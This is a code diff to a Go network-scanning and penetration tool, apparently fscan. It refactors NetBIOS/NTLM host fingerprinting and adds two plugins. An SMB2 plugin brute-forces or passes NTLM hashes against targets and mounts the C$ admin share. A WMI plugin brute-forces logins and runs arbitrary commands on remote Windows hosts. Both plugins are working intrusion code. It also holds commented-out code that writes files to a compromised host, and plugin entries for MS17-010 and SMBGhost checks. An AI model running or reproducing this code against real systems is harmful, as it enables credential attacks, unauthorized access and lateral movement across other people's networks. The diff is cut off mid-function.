diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index dc3e577..e9ad936 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -2,80 +2,45 @@ package Plugins import ( "bytes" + "errors" "fmt" "github.com/shadow1ng/fscan/common" + "gopkg.in/yaml.v3" "net" "strconv" "strings" "time" ) -var ( - UNIQUE_NAMES = map[string]string{ - "\x00": "Workstation Service", - "\x03": "Messenger Service", - "\x06": "RAS Server Service", - "\x1F": "NetDDE Service", - "\x20": "Server Service", - "\x21": "RAS Client Service", - "\xBE": "Network Monitor Agent", - "\xBF": "Network Monitor Application", - "\x1D": "Master Browser", - "\x1B": "Domain Master Browser", - } - - GROUP_NAMES = map[string]string{ - "\x00": "Domain Name", - "\x1C": "Domain Controllers", - "\x1E": "Browser Service Elections", - } - - NetBIOS_ITEM_TYPE = map[string]string{ - "\x01\x00": "NetBIOS computer name", - "\x02\x00": "NetBIOS domain name", - "\x03\x00": "DNS computer name", - "\x04\x00": "DNS domain name", - "\x05\x00": "DNS tree name", - "\x07\x00": "Time stamp", - } -) - -type NbnsName struct { - unique string - group string - msg string - osversion string -} +var netbioserr = errors.New("netbios error") func NetBIOS(info *common.HostInfo) error { - nbname, err := NetBIOS1(info) - var msg, isdc string - - if strings.Contains(nbname.msg, "Domain Controllers") { - isdc = "[+]DC" + netbios, _ := NetBIOS1(info) + output := netbios.String() + if len(output) > 0 { + result := fmt.Sprintf("[*] NetBios: %-15s %s ", info.Host, output) + common.LogSuccess(result) + return nil } - msg += fmt.Sprintf("[*] %-15s%-5s %s\\%-15s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion) - - if common.Scantype == "netbios" { - msg += "\n-------------------------------------------\n" + nbname.msg - } - if len(nbname.group) > 0 || len(nbname.unique) > 0 { - common.LogSuccess(msg) - } - return err + return netbioserr } -func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) { - nbname, err = GetNbnsname(info) +func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { + netbios, err = GetNbnsname(info) var payload0 []byte - if err == nil { - name := netbiosEncode(nbname.unique) + if netbios.ServerService != "" || netbios.WorkstationService != "" { + ss := netbios.ServerService + if ss == "" { + ss = netbios.WorkstationService + } + name := netbiosEncode(ss) payload0 = append(payload0, []byte("\x81\x00\x00D ")...) payload0 = append(payload0, name...) payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...) } realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + var conn net.Conn + conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -94,106 +59,39 @@ func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) { if err1 != nil { return } - _, err1 = readbytes(conn) + _, err1 = ReadBytes(conn) if err1 != nil { return } } - payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00") - payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00") - _, err = conn.Write(payload1) + _, err = conn.Write(NegotiateSMBv1Data1) if err != nil { return } - _, err = readbytes(conn) + _, err = ReadBytes(conn) if err != nil { return } - _, err = conn.Write(payload2) + _, err = conn.Write(NegotiateSMBv1Data2) if err != nil { return } - ret, err := readbytes(conn) - if err != nil || len(ret) < 45 { - return - } - - num1, err := bytetoint(ret[43:44][0]) + var ret []byte + ret, err = ReadBytes(conn) if err != nil { return } - num2, err := bytetoint(ret[44:45][0]) - if err != nil { - return - } - length := num1 + num2*256 - if len(ret) < 48+length { - return - } - os_version := ret[47+length:] - tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124}) - tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{}) - msg1 := string(tmp1[:len(tmp1)-1]) - nbname.osversion = msg1 - index1 := strings.Index(msg1, "|") - if index1 > 0 { - nbname.osversion = nbname.osversion[:index1] - } - nbname.msg += "-------------------------------------------\n" - nbname.msg += msg1 + "\n" - start := bytes.Index(ret, []byte("NTLMSSP")) - if len(ret) < start+45 { - return - } - num1, err = bytetoint(ret[start+40 : start+41][0]) - if err != nil { - return - } - num2, err = bytetoint(ret[start+41 : start+42][0]) - if err != nil { - return - } - length = num1 + num2*256 - num1, err = bytetoint(ret[start+44 : start+45][0]) - if err != nil { - return - } - offset, err := bytetoint(ret[start+44 : start+45][0]) - if err != nil || len(ret) < start+offset+length { - return - } - index := start + offset - for index < start+offset+length { - item_type := ret[index : index+2] - num1, err = bytetoint(ret[index+2 : index+3][0]) - if err != nil { - return - } - num2, err = bytetoint(ret[index+3 : index+4][0]) - if err != nil { - return - } - item_length := num1 + num2*256 - item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{}) - index += 4 + item_length - if string(item_type) == "\x07\x00" { - //Time stamp, 暂时不想处理 - } else if NetBIOS_ITEM_TYPE[string(item_type)] != "" { - nbname.msg += fmt.Sprintf("%-22s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content)) - } else if string(item_type) == "\x00\x00" { - break - } else { - nbname.msg += fmt.Sprintf("Unknown: %s\n", string(item_content)) - } - } - return nbname, err + netbios2, err := ParseNTLM(ret) + JoinNetBios(&netbios, &netbios2) + return } -func GetNbnsname(info *common.HostInfo) (nbname NbnsName, err error) { +func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) { senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} - realhost := fmt.Sprintf("%s:%v", info.Host, 137) + //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") + realhost := fmt.Sprintf("%s:137", info.Host) conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second) defer func() { if conn != nil { @@ -211,61 +109,11 @@ func GetNbnsname(info *common.HostInfo) (nbname NbnsName, err error) { if err != nil { return } - text, err := readbytes(conn) - if err != nil { - return - } - if len(text) < 57 { - return nbname, fmt.Errorf("no names available") - } - num, err := bytetoint(text[56:57][0]) - if err != nil { - return - } - data := text[57:] - var msg string - for i := 0; i < num; i++ { - if len(data) < 18*i+16 { - break - } - name := string(data[18*i : 18*i+15]) - flag_bit := data[18*i+15 : 18*i+16] - if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { - msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)]) - } else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { - msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)]) - } else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 { - name_flags := data[18*i+16 : 18*i+18][0] - if name_flags >= 128 { - nbname.group = strings.Replace(name, " ", "", -1) - msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)]) - } else { - nbname.unique = strings.Replace(name, " ", "", -1) - msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)]) - } - } else { - msg += fmt.Sprintf("%s \n", name) - } - } - nbname.msg += msg + text, _ := ReadBytes(conn) + netbios, err = ParseNetBios(text) return } -func readbytes(conn net.Conn) (result []byte, err error) { - buf := make([]byte, 4096) - for { - count, err := conn.Read(buf) - if err != nil { - break - } - result = append(result, buf[0:count]...) - if count < 4096 { - break - } - } - return result, err -} - func bytetoint(text byte) (int, error) { num1 := fmt.Sprintf("%v", text) num, err := strconv.Atoi(num1) @@ -287,3 +135,241 @@ func netbiosEncode(name string) (output []byte) { } return } + +var ( + UNIQUE_NAMES = map[string]string{ + "\x00": "WorkstationService", + "\x03": "Messenger Service", + "\x06": "RAS Server Service", + "\x1F": "NetDDE Service", + "\x20": "ServerService", + "\x21": "RAS Client Service", + "\xBE": "Network Monitor Agent", + "\xBF": "Network Monitor Application", + "\x1D": "Master Browser", + "\x1B": "Domain Master Browser", + } + + GROUP_NAMES = map[string]string{ + "\x00": "DomainName", + "\x1C": "DomainControllers", + "\x1E": "Browser Service Elections", + } + + NetBIOS_ITEM_TYPE = map[string]string{ + "\x01\x00": "NetBiosComputerName", + "\x02\x00": "NetBiosDomainName", + "\x03\x00": "ComputerName", + "\x04\x00": "DomainName", + "\x05\x00": "DNS tree name", + "\x07\x00": "Time stamp", + } + NegotiateSMBv1Data1 = []byte{ + 0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, + 0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02, + 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F, + 0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70, + 0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, + 0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54, + 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00, + } + NegotiateSMBv1Data2 = []byte{ + 0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE, + 0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60, + 0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30, + 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04, + 0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08, + 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, + 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00, + 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00, + 0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, + 0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00, + 0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00, + 0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, + 0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, + 0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, + } +) + +type NetBiosInfo struct { + GroupName string + WorkstationService string `yaml:"WorkstationService"` + ServerService string `yaml:"ServerService"` + DomainName string `yaml:"DomainName"` + DomainControllers string `yaml:"DomainControllers"` + ComputerName string `yaml:"ComputerName"` + OsVersion string `yaml:"OsVersion"` + NetDomainName string `yaml:"NetBiosDomainName"` + NetComputerName string `yaml:"NetBiosComputerName"` +} + +func (info *NetBiosInfo) String() (output string) { + var text string + //ComputerName 信息比较全 + if info.ComputerName != "" { + if !strings.Contains(info.ComputerName, ".") && info.GroupName != "" { + text = fmt.Sprintf("%s\\%s", info.GroupName, info.ComputerName) + } else { + text = info.ComputerName + } + } else { + //组信息 + if info.DomainName != "" { + text += info.DomainName + text += "\\" + } else if info.NetDomainName != "" { + text += info.NetDomainName + text += "\\" + } + //机器名 + if info.ServerService != "" { + text += info.ServerService + } else if info.WorkstationService != "" { + text += info.WorkstationService + } else if info.NetComputerName != "" { + text += info.NetComputerName + } + } + if text == "" { + } else if info.DomainControllers != "" { + output = fmt.Sprintf("[+]DC %-24s", text) + } else { + output = fmt.Sprintf("%-30s", text) + } + if info.OsVersion != "" { + output += " " + info.OsVersion + } + return +} + +func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) { + if len(input) < 57 { + err = netbioserr + return + } + data := input[57:] + var num int + num, err = bytetoint(input[56:57][0]) + if err != nil { + return + } + var msg string + for i := 0; i < num; i++ { + if len(data) < 18*i+16 { + break + } + name := string(data[18*i : 18*i+15]) + flag_bit := data[18*i+15 : 18*i+16] + if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { + msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name) + } else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { + msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name) + } else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 { + name_flags := data[18*i+16 : 18*i+18][0] + if name_flags >= 128 { + msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name) + } else { + msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name) + } + } else { + msg += fmt.Sprintf("%s \n", name) + } + } + if len(msg) == 0 { + err = netbioserr + return + } + err = yaml.Unmarshal([]byte(msg), &netbios) + if netbios.DomainName != "" { + netbios.GroupName = netbios.DomainName + } + return +} + +func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) { + if len(ret) < 47 { + err = netbioserr + return + } + var num1, num2 int + num1, err = bytetoint(ret[43:44][0]) + if err != nil { + return + } + num2, err = bytetoint(ret[44:45][0]) + if err != nil { + return + } + length := num1 + num2*256 + if len(ret) < 48+length { + return + } + os_version := ret[47+length:] + tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124}) + tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{}) + ostext := string(tmp1[:len(tmp1)-1]) + ss := strings.Split(ostext, "|") + netbios.OsVersion = ss[0] + start := bytes.Index(ret, []byte("NTLMSSP")) + if len(ret) < start+45 { + return + } + num1, err = bytetoint(ret[start+40 : start+41][0]) + if err != nil { + return + } + num2, err = bytetoint(ret[start+41 : start+42][0]) + if err != nil { + return + } + length = num1 + num2*256 + num1, err = bytetoint(ret[start+44 : start+45][0]) + if err != nil { + return + } + offset, err := bytetoint(ret[start+44 : start+45][0]) + if err != nil || len(ret) < start+offset+length { + return + } + var msg string + index := start + offset + for index < start+offset+length { + item_type := ret[index : index+2] + num1, err = bytetoint(ret[index+2 : index+3][0]) + if err != nil { + continue + } + num2, err = bytetoint(ret[index+3 : index+4][0]) + if err != nil { + continue + } + item_length := num1 + num2*256 + item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{}) + index += 4 + item_length + if string(item_type) == "\x07\x00" { + //Time stamp, 不需要输出 + } else if NetBIOS_ITEM_TYPE[string(item_type)] != "" { + msg += fmt.Sprintf("%s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content)) + } else if string(item_type) == "\x00\x00" { + break + } + } + err = yaml.Unmarshal([]byte(msg), &netbios) + return +} + +func JoinNetBios(netbios1, netbios2 *NetBiosInfo) *NetBiosInfo { + netbios1.ComputerName = netbios2.ComputerName + netbios1.NetDomainName = netbios2.NetDomainName + netbios1.NetComputerName = netbios2.NetComputerName + if netbios2.DomainName != "" { + netbios1.DomainName = netbios2.DomainName + } + netbios1.OsVersion = netbios2.OsVersion + return netbios1 +} diff --git a/Plugins/base.go b/Plugins/base.go index 49ab591..7a7fe01 100644 --- a/Plugins/base.go +++ b/Plugins/base.go @@ -1,22 +1,44 @@ package Plugins +import "net" + var PluginList = map[string]interface{}{ - "21": FtpScan, - "22": SshScan, - "135": Findnet, - "139": NetBIOS, - "445": SmbScan, - "1433": MssqlScan, - "1521": OracleScan, - "3306": MysqlScan, - "3389": RdpScan, - "5432": PostgresScan, - "6379": RedisScan, - "9000": FcgiScan, - "11211": MemcachedScan, - "27017": MongodbScan, - "1000001": MS17010, - "1000002": SmbGhost, - "1000003": WebTitle, - "10000031": WebTitle, + "21": FtpScan, + "22": SshScan, + "135": Findnet, + "139": NetBIOS, + "445": SmbScan, + "1433": MssqlScan, + "1521": OracleScan, + "3306": MysqlScan, + "3389": RdpScan, + "5432": PostgresScan, + "6379": RedisScan, + "9000": FcgiScan, + "11211": MemcachedScan, + "27017": MongodbScan, + "1000001": MS17010, + "1000002": SmbGhost, + "1000003": WebTitle, + "1000004": SmbScan2, + "1000005": WmiExec, +} + +func ReadBytes(conn net.Conn) (result []byte, err error) { + size := 4096 + buf := make([]byte, size) + for { + count, err := conn.Read(buf) + if err != nil { + break + } + result = append(result, buf[0:count]...) + if count < size { + break + } + } + if len(result) > 0 { + err = nil + } + return result, err } diff --git a/Plugins/findnet.go b/Plugins/findnet.go index 7fb520d..5c1e1b7 100644 --- a/Plugins/findnet.go +++ b/Plugins/findnet.go @@ -70,7 +70,7 @@ func read(text []byte, host string) error { encodedStr := hex.EncodeToString(text) hostnames := strings.Replace(encodedStr, "0700", "", -1) hostname := strings.Split(hostnames, "000000") - result := "[+] NetInfo:\n[*]" + host + result := "[*] NetInfo:\n[*]" + host for i := 0; i < len(hostname); i++ { hostname[i] = strings.Replace(hostname[i], "00", "", -1) host, err := hex.DecodeString(hostname[i]) diff --git a/Plugins/scanner.go b/Plugins/scanner.go index 242fc7e..58c2c3a 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -33,7 +33,10 @@ func Scan(info common.HostInfo) { } common.GC() var AlivePorts []string - if common.Scantype == "webonly" { + if common.Scantype == "webonly" || common.Scantype == "webpoc" { + AlivePorts = NoPortScan(Hosts, info.Ports) + } else if common.Scantype == "hostname" { + info.Ports = "139" AlivePorts = NoPortScan(Hosts, info.Ports) } else if len(Hosts) > 0 { AlivePorts = PortScan(Hosts, info.Ports, common.Timeout) @@ -59,6 +62,11 @@ func Scan(info common.HostInfo) { info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1] if common.Scantype == "all" || common.Scantype == "main" { switch { + case info.Ports == "135": + AddScan(info.Ports, info, &ch, &wg) //findnet + if common.IsWmi { + AddScan("1000005", info, &ch, &wg) //wmiexec + } case info.Ports == "445": AddScan(ms17010, info, &ch, &wg) //ms17010 //AddScan(info.Ports, info, ch, &wg) //smb diff --git a/Plugins/smb2.go b/Plugins/smb2.go new file mode 100644 index 0000000..d4b141a --- /dev/null +++ b/Plugins/smb2.go @@ -0,0 +1,176 @@ +package Plugins + +import ( + "fmt" + "github.com/shadow1ng/fscan/common" + "net" + "os" + "strings" + "time" + + "github.com/hirochachacha/go-smb2" +) + +func SmbScan2(info *common.HostInfo) (tmperr error) { + if common.IsBrute { + return nil + } + hasprint := false + starttime := time.Now().Unix() + hash := common.HashBytes + for _, user := range common.Userdict["smb"] { + PASS: + for _, pass := range common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint) + if flag2 { + hasprint = true + } + if flag == true { + var result string + if common.Domain != "" { + result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) + } else { + result = fmt.Sprintf("[+] SMB2:%v:%v:%v ", info.Host, info.Ports, user) + } + if len(hash) > 0 { + result += "hash: " + common.Hash + } else { + result += pass + } + common.LogSuccess(result) + return err + } else { + var errlog string + if len(common.Hash) > 0 { + errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err) + } else { + errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err) + } + errlog = strings.Replace(errlog, "\n", " ", -1) + common.LogError(errlog) + tmperr = err + if common.CheckErrs(err) { + return err + } + if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { + return err + } + } + if len(common.Hash) > 0 { + break PASS + } + } + } + return tmperr +} + +func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { + conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second) + defer func() { + if conn != nil { + conn.Close() + } + }() + if err != nil { + return + } + initiator := smb2.NTLMInitiator{ + User: user, + Domain: common.Domain, + } + if len(hash) > 0 { + initiator.Hash = hash + } else { + initiator.Password = pass + } + d := &smb2.Dialer{ + Initiator: &initiator, + } + + s, err := d.Dial(conn) + if err != nil { + return + } + defer s.Logoff() + names, err := s.ListSharenames() + if err != nil { + return + } + if !hasprint { + var result string + if common.Domain != "" { + result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) + } else { + result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v ", info.Host, info.Ports, user) + } + if len(hash) > 0 { + result += "hash: " + common.Hash + } else { + result += pass + } + result = fmt.Sprintf("%v shares: %v", result, names) + common.LogSuccess(result) + flag2 = true + } + fs, err := s.Mount("C$") + if err != nil { + return + } + defer fs.Umount() + path := `Windows\win.ini` + f, err := fs.OpenFile(path, os.O_RDONLY, 0666) + if err != nil { + return + } + defer f.Close() + flag = true + return + //bs, err := ioutil.ReadAll(f) + //if err != nil { + // return + //} + //fmt.Println(string(bs)) + //return + +} + +//if info.Path == ""{ +//} +//path = info.Path +//f, err := fs.OpenFile(path, os.O_RDONLY, 0666) +//if err != nil { +// return +//} +//flag = true +//_, err = f.Seek(0, io.SeekStart) +//if err != nil { +// return +//} +//bs, err := ioutil.ReadAll(f) +//if err != nil { +// return +//} +//fmt.Println(string(bs)) +//return +//f, err := fs.Create(`Users\Public\Videos\hello.txt`) +//if err != nil { +// return +//} +//flag = true +// +//_, err = f.Write([]byte("Hello world!")) +//if err != nil { +// return +//} +// +//_, err = f.Seek(0, io.SeekStart) +//if err != nil { +// return +//} +//bs, err := ioutil.ReadAll(f) +//if err != nil { +// return +//} +//fmt.Println(string(bs)) +//return diff --git a/Plugins/webtitle.go b/Plugins/webtitle.go index 093c68d..20b1b87 100644 --- a/Plugins/webtitle.go +++ b/Plugins/webtitle.go @@ -19,8 +19,13 @@ import ( ) func WebTitle(info *common.HostInfo) error { + if common.Scantype == "webpoc" { + WebScan.WebScan(info) + return nil + } err, CheckData := GOWebTitle(info) info.Infostr = WebScan.InfoCheck(info.Url, &CheckData) + if common.IsWebCan == false && err == nil { WebScan.WebScan(info) } else { @@ -102,10 +107,12 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er if err != nil { return err, "", CheckData } - req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") - req.Header.Set("Accept", "*/*") + req.Header.Set("User-agent", common.UserAgent) + req.Header.Set("Accept", common.Accept) req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") - req.Header.Set("Cookie", common.Cookie) + if common.Cookie != "" { + req.Header.Set("Cookie", common.Cookie) + } //if common.Pocinfo.Cookie != "" { // req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie) //} else { diff --git a/Plugins/wmiexec.go b/Plugins/wmiexec.go new file mode 100644 index 0000000..b5dfe56 --- /dev/null +++ b/Plugins/wmiexec.go @@ -0,0 +1,117 @@ +package Plugins + +import ( + "errors" + "fmt" + "github.com/shadow1ng/fscan/common" + "os" + "strings" + "time" + + "github.com/C-Sto/goWMIExec/pkg/wmiexec" +) + +var ClientHost string +var flag bool + +func init() { + if flag { + return + } + clientHost, err := os.Hostname() + if err != nil { + fmt.Println(err) + } + ClientHost = clientHost + flag = true +} + +func WmiExec(info *common.HostInfo) (tmperr error) { + if common.IsBrute { + return nil + } + starttime := time.Now().Unix() + for _, user := range common.Userdict["smb"] { + PASS: + for _, pass := range common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + flag, err := Wmiexec(info, user, pass, common.Hash) + errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) + errlog = strings.Replace(errlog, "\n", "", -1) + common.LogError(errlog) + if flag == true { + var result string + if common.Domain != "" { + result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) + } else { + result = fmt.Sprintf("[+] WmiExec:%v:%v:%v ", info.Host, info.Ports, user) + } + if common.Hash != "" { + result += "hash: " + common.Hash + } else { + result += pass + } + common.LogSuccess(result) + return err + } else { + tmperr = err + if common.CheckErrs(err) { + return err + } + if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { + return err + } + } + if len(common.Hash) == 32 { + break PASS + } + } + } + return tmperr +} + +func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) { + target := fmt.Sprintf("%s:%v", info.Host, info.Ports) + wmiexec.Timeout = int(common.Timeout) + return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil) +} + +func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn 